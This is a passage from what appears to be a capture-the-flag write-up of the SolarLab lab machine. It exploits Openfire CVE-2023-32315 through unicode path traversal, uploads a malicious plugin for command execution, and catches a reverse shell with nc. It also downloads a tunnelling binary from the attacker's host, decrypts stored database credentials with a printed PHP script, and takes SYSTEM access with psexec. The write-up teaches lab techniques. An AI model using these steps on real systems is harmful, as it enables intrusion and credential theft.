PS C:\> (curl http://localhost:9090/index.jsp).Content | findstr -i version
<div class="text" id="jive-loginVersion"> Openfire, Version: 4.7.4</div>
CVE-2023-32315
Identify
Searching for “openfire cve 4.7.4” shows a bunch of results of CVE-2023-32315:
Background
The top result from vsociety_ shows all about this vulnerability including how to, exploit the path traversal to create a new admin user, and using that to install a plugin and get RCE.
The issue is that OpenFire in some URLs isn’t properly sanitizing %u002e
, which is a unicode encoding of dot, so %u002e%u002e/
makes it to the server and becomes ../
. With this, I can hit the endpoints to create a user.
Tunnel
The easiest way to exploit this is to tunnel post 9090 on my host to port 9090 on SolarLab localhost using Chisel. I’ll host the latest binary on my Python webserver and fetch it to SolarLab. Then with the server started, I’ll connect:
PS C:\programdata> wget 10.10.14.6/chisel_1.10.0_windows_amd64 -outfile c.exe
PS C:\programdata> .\c.exe client 10.10.14.6:8000 R:9090:127.0.0.1:9090
At the server I’ll see the connection:
oxdf@hacky$ /opt/chisel/chisel_1.10.0_linux_amd64 server -p 8000 --reverse
2024/09/19 15:30:42 server: Reverse tunnelling enabled
2024/09/19 15:30:42 server: Fingerprint 7c+nXZ+iSyIPo1+BwAdNkyaqP23KLPb4eMndREiMn5w=
2024/09/19 15:30:42 server: Listening on http://0.0.0.0:8000
2024/09/19 15:31:02 server: session#1: tun: proxy#R:9090=>9090: Listening
Now visiting localhost:9090
shows the OpenFire login:
POC
To test this exploit, I’ll try to read a log file at /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
, and it works:
Create Admin User
I’ll start by getting a cookie and CSRF token from plugin-admin.jsp
in the same directory as the log file above:
To create a user, I’ll visit user-create.jsp
in the same directory, passing the necessary info (and with these cookies set):
It returns 200, but also shows an exception. But it also created the user. Entering my new user creds into the form logs in. On the User Properties page for my user, I’ll see it is admin:
OpenFile Plugin RCE
This is the same process as the root step on Jab. The same blog post has a link to this repo, which include a script to do what I just did manually, as well as openfire-management-tool-plugin.jar
. I’ll download a copy of that file.
Now on “Plugins” at the top menu, there’s a form to upload a plugin:
Once it uploads, it shows up in the list:
Under Server –> Server Settings, Management Tool now shows up at the bottom of the left menu:
Clicking it asks for a password, which is “123”:
On entering, there’s a few options, but on selecting “system command” from the menu, it gives a form to execute a command:
It works:
Giving it the same shell from revshells.com returns a shell:
oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.16 54584
PS C:\Program Files\Openfire\bin>
Shell as system
Enumeration
As openfire, I can now access C:\Program Files\Openfire
:
PS C:\Program Files\openfire> ls
Directory: C:\Program Files\openfire
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2023 2:11 PM .install4j
d----- 11/17/2023 2:11 PM bin
d----- 5/17/2024 9:53 PM conf
d----- 11/17/2023 2:11 PM documentation
d----- 5/17/2024 9:53 PM embedded-db
d----- 11/17/2023 2:11 PM lib
d----- 11/17/2023 2:24 PM logs
d----- 11/17/2023 2:21 PM plugins
d----- 11/17/2023 2:11 PM resources
-a---- 11/9/2022 5:59 PM 375002 changelog.html
-a---- 2/16/2022 5:55 PM 10874 LICENSE.html
-a---- 2/16/2022 5:55 PM 5403 README.html
-a---- 11/9/2022 6:00 PM 798720 uninstall.exe
In the embedded-db
folder there’s some small files and openfire.script
:
PS C:\Program Files\openfire\embedded-db> ls
Directory: C:\Program Files\openfire\embedded-db
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/17/2024 9:53 PM openfire.tmp
-a---- 5/17/2024 9:53 PM 0 openfire.lck
-a---- 5/17/2024 9:53 PM 161 openfire.log
-a---- 5/17/2024 9:53 PM 106 openfire.properties
-a---- 5/7/2024 9:15 PM 16161 openfire.script
Inside of it, there’s a couple lines with what look like credentials being set:
PS C:\Program Files\openfire\embedded-db> cat openfire.script
SET DATABASE UNIQUE NAME HSQLDB8BDD3B2742
SET DATABASE GC 0
SET DATABASE DEFAULT RESULT MEMORY ROWS 0
...[snip]...
CREATE USER SA PASSWORD DIGEST 'd41d8cd98f00b204e9800998ecf8427e'
...[snip]...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e15
9a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
q
...[snip]...
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
...[snip]...
The SA password hash is the MD5 sum of the empty string, so that’s not too interesting.
Decrypt
Find Script
Searching for Openfire password decrypt, I’ll find this repo. It’s got a PHP script to decrypt a password taking the $ciphertext
and $key
:
<?
function decrypt_openfirepass($ciphertext, $key) {
$cypher = 'blowfish';
$mode = 'cbc';
$sha1_key = sha1($key, true);
$td = mcrypt_module_open($cypher, '', $mode, '');
$ivsize = mcrypt_enc_get_iv_size($td);
$iv = substr(hex2bin($ciphertext), 0, $ivsize);
$ciphertext = substr(hex2bin($ciphertext), $ivsize);
if ($iv) {
mcrypt_generic_init($td, $sha1_key, $iv);
$plaintext = mdecrypt_generic($td, $ciphertext);
}
return $plaintext;
}
Decrypt with Script
I can create a copy of this script with my variables on my host:
<?php
function decrypt_openfirepass($ciphertext, $key) {
$cypher = 'blowfish';
$mode = 'cbc';
$sha1_key = sha1($key, true);
$td = mcrypt_module_open($cypher, '', $mode, '');
$ivsize = mcrypt_enc_get_iv_size($td);
$iv = substr(hex2bin($ciphertext), 0, $ivsize);
$ciphertext = substr(hex2bin($ciphertext), $ivsize);
if ($iv) {
mcrypt_generic_init($td, $sha1_key, $iv);
$plaintext = mdecrypt_generic($td, $ciphertext);
}
return $plaintext;
}
echo decrypt_openfirepass('becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442', 'hGXiFzsKaAeYLjn');
To get it to work, I had to also apt install php8.2-mcrypt
. Then it just works:
oxdf@hacky$ php decrypt.php
ThisPasswordShouldDo!@
Shell
That password is the box’s administrator password:
oxdf@hacky$ netexec smb solarlab.htb -u administrator -p 'ThisPasswordShouldDo!@'
SMB 10.10.11.16 445 SOLARLAB Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB 10.10.11.16 445 SOLARLAB [+] solarlab\administrator:ThisPasswordShouldDo!@ (Pwn3d!)
With no WinRM, SSH, or RDP, I’ll use psexec.py
to get a shell over SMB:
oxdf@hacky$ psexec.py solarlab.htb/administrator:'ThisPasswordShouldDo!@'@solarlab.htb powershell
Impacket v0.12.0.dev1+20240308.164415.4a62f39 - Copyright 2023 Fortra
[*] Requesting shares on solarlab.htb.....
[*] Found writable share ADMIN$
[*] Uploading file vlfVSrWF.exe
[*] Opening SVCManager on solarlab.htb.....
[*] Creating service kEIH on solarlab.htb.....
[*] Starting service kEIH.....
[!] Press help for extra shell commands
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32> whoami
nt authority\system
And grab the flag:
PS C:\users\administrator\desktop> cat root.txt
adc9cfdd************************